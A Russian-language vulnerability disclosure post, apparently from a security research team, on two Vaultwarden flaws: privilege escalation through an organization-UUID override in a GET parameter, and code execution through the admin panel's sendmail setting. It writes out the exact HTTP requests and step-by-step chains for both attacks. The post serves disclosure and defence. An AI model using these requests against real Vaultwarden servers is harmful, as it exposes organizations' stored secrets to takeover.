
По данным BI.ZONE TDR, в 2025 году Vaultwarden использует каждая десятая российская компания.
Как и любое хранилище секретов, Vaultwarden — критически важный сервис, требующий повышенного внимания безопасников. Его компрометация влечет множество рисков. Поскольку секреты от других внутренних сервисов хранятся в Vaultwarden, при его взломе атакующий узнает и их. А если продукт автоматически получает секреты с помощью API, злоумышленник попадет на хост с обширной сетевой связностью.
Поэтому наша группа исследования уязвимостей проанализировала Vaultwarden. В результате мы обнаружили две уязвимости высокого уровня опасности: CVE-2025-24364 и CVE-2025-24365.
Escalation of privilege via variable confusion in OrgHeaders trait (CVE-2025-24365)
В первую очередь мы обратили внимание на механизм проверки прав. Наше внимание привлекло то, как проверяются права на секреты, созданные в рамках организации.
Большая часть эндпоинтов, связанных c организациями, получает UUID организации из пути запроса, однако есть и эндпоинты, которые получают UUID через параметр GET. Важно отметить, что внутри логики эндпоинтов нет логики проверки прав в организации. За это отвечает отдельная функция, которая в терминологии HTTP-фреймворка Rocket называется Request Guard. По сути, главное назначение Request Guard
— получить данные из HTTP-запроса и провести их валидацию.

Request Guard
для структуры OrgHeaders

OrgHeaders
Request Guard
получает UUID организации и проверяет, является ли пользователь ее частью, после чего устанавливает необходимые права.
Однако нам интересно, как именно эта функциональность получает UUID организации. Сниппет кода с такой логикой показан ниже.

Request Guard
Можно заметить, что сервер пытается получить UUID из пути запроса и параметра GET, как было отмечено ранее.
А что, если мы укажем UUID и в пути, и в параметре GET? В таком случае сервер получит UUID организации из пути, однако сразу же перезапишет его на UUID из параметра GET. Информацию о UUID организации структура OrgHeaders
не содержит, поэтому в эндпоинтах, связанных с организациями, она реализована отдельно.
В этом и заключается уязвимость: у злоумышленника появляется возможность взаимодействовать с организацией, имея права совершенно другой.
Пример эксплуатации
В качестве примера эксплуатации получим права администратора в организации, где мы обычный пользователь.
Наш пользователь attacker@gmail.com
имеет пользовательские права в организации org1
.

org1
Для эксплуатации нам потребуется организация, где у нас есть полные права. Для этого создаем организацию my_own_org
.

attacker@gmail.com
Теперь меняем наши права в организации org1
, используя уязвимость. Сначала узнаём список пользователей при помощи следующего запроса:
GET /api/organizations/<ORG1_UUID>/users?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
Здесь <ORG1_UUID>
— UUID организации org1
, <MY_OWN_ORG_UUID>
— UUID организации my_own_org
.
Сервер в ответе выдает информацию обо всех пользователях в организации:
{
"data": [
...
{
"accessAll": false,
"accessSecretsManager": false,
"avatarColor": null,
"collections": [],
"email": "attacker@gmail.com",
"externalId": null,
"groups": [],
"hasMasterPassword": false,
"id": <ENROLLMENT_UUID>,
"name": null,
"object": "organizationUserUserDetails",
"permissions": {
"accessEventLogs": false,
"accessImportExport": false,
"accessReports": false,
"createNewCollections": false,
"deleteAnyCollection": false,
"deleteAssignedCollections": false,
"editAnyCollection": false,
"editAssignedCollections": false,
"manageGroups": false,
"managePolicies": false,
"manageResetPassword": false,
"manageScim": false,
"manageSso": false,
"manageUsers": false
},
"resetPasswordEnrolled": false,
"ssoBound": false,
"status": 2,
"twoFactorEnabled": false,
"type": 2,
"userId": <USER_UUID>,
"usesKeyConnector": false
}
],
"object": "list",
"continuationToken": null
}
Здесь <ENROLLMENT_UUID>
— UUID участника организации, <USER_UUID>
— UUID пользователя.
Используя <ENROLLMENT_UUID>
из предыдущего запроса, даем полные права нашему пользователю в организации org1
:
PUT /api/organizations/<ORG1_UUID>/users/<ENROLLMENT_UUID>/?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
{
"collections": [],
"groups": [],
"accessAll": true,
"permissions": {
"response": null
},
"type": 0,
"accessSecretsManager": true
}
В результате получаем полные права в организации, где были обычным пользователем.

org1
, пользователь Attacker
имеет роль ownerКраткое описание эксплуатации:
Злоумышленник имеет доступ к организации А, но у него ограниченные права.
Создает организацию Б, где по умолчанию становится администратором.
Отправляет запрос на эндпоинты, при этом указывая в пути UUID организации A, а в GET-параметре — UUID организации Б.
Получает права администратора в организации А.
RCE in the admin panel (CVE-2025-24364)
Помимо механизма проверки прав, нас заинтересовала панель администратора Vaultwarden.

В первую очередь мы обратили внимание на возможность использовать sendmail в качестве клиента SMTP, а также выбрать команду, при помощи которой будут отправляться письма. В качестве команды мы выбрали /bin/sh
для исполнения произвольного кода.
Однако не все так просто: для успешной эксплуатации в файловой системе требуется SH-файл с нашей нагрузкой. Поэтому в панели администратора меняем путь к директории с иконками сайтов. Для этого используем следующий запрос:
POST /admin/config HTTP/1.1
Host: vaultwarden_host
Content-Type: application/json
Cookie: VW_ADMIN=<admin_session>
{
...
"icon_cache_folder": "/@icon"
}
После изменения директории Vaultwarden автоматически создает ее по пути /@icon
. Это название обусловлено тем, что для успешной эксплуатации требуется соответствие пути к файлу правилам регулярного выражения email
, ведь при отправке через sendmail в аргументе указывается почта.
Теперь приступаем к созданию иконки, внутри которой будет зашита нагрузка. Для этого берем любой PNG-файл и добавляем в его метаданные нашу нагрузку.

После исполнения нагрузки файл появляется в файловой системе по пути /win
. Таким же образом можно исполнить абсолютно любой код.
Следующим шагом размещаем изображение на своем сервере так, чтобы оно возвращалось при GET-запросе /apple-touch-icon.png
.
Затем заставляем Vaultwarden сохранить картинку у себя. Для этого нужно сделать GET-запрос /icons/site.com/icon.png
, где site.com
— это наш сайт.
Сервер сохраняет картинку в /@icon/site.com.png
.

/@icon
После этого мы настраиваем панель администратора, как показано ниже.

Можно заметить, что в колонке from_address
мы указали абсолютный путь к сохраненному изображению.
Подготовительный этап закончен, можем запускать! Для этого нужно всего лишь отправить следующий запрос:
POST /admin/test/smtp HTTP/1.1
Host: vaultwarden_host
Content-Type: application/json
Cookie: VW_ADMIN=<admin_session>
{
"email": "test@test.com"
}
После выполнения этого запроса сервер запускает /bin/sh
, а в качестве аргумента указывает /@icon/site.com.png
, тем самым выполняя нашу полезную нагрузку.
В файловой системе появляется файл /win
, что доказывает успешность эксплуатации.

/win
Краткое описание эксплуатации:
Атакующий имеет доступ к панели администратора.
Меняет директорию, куда сохраняются иконки сайтов, на
/@icon
.Меняет настройки SMTP, чтобы использовать для отправки сообщений исполняемый файл
/bin/sh
и заменить исходящий адрес на/@icon/site.com.png
.Размещает на
site.com/apple-touch-icon.png
изображение с вшитой в метаданные нагрузкой и заставляет Vaultwarden его закешировать.Отправляет тестовое сообщение и получает произвольное исполнение кода.
Заключение
Несмотря на ранее проведенный security-аудит кода Vaultwarden, сервис все равно имеет уязвимости.
Мы рекомендуем отключать функциональность, которую вы не используете, чтобы снизить поверхность атаки и вероятность компрометации вашего хранилища секретов.
Автор
Елизар Батин, старший специалист по исследованию уязвимостей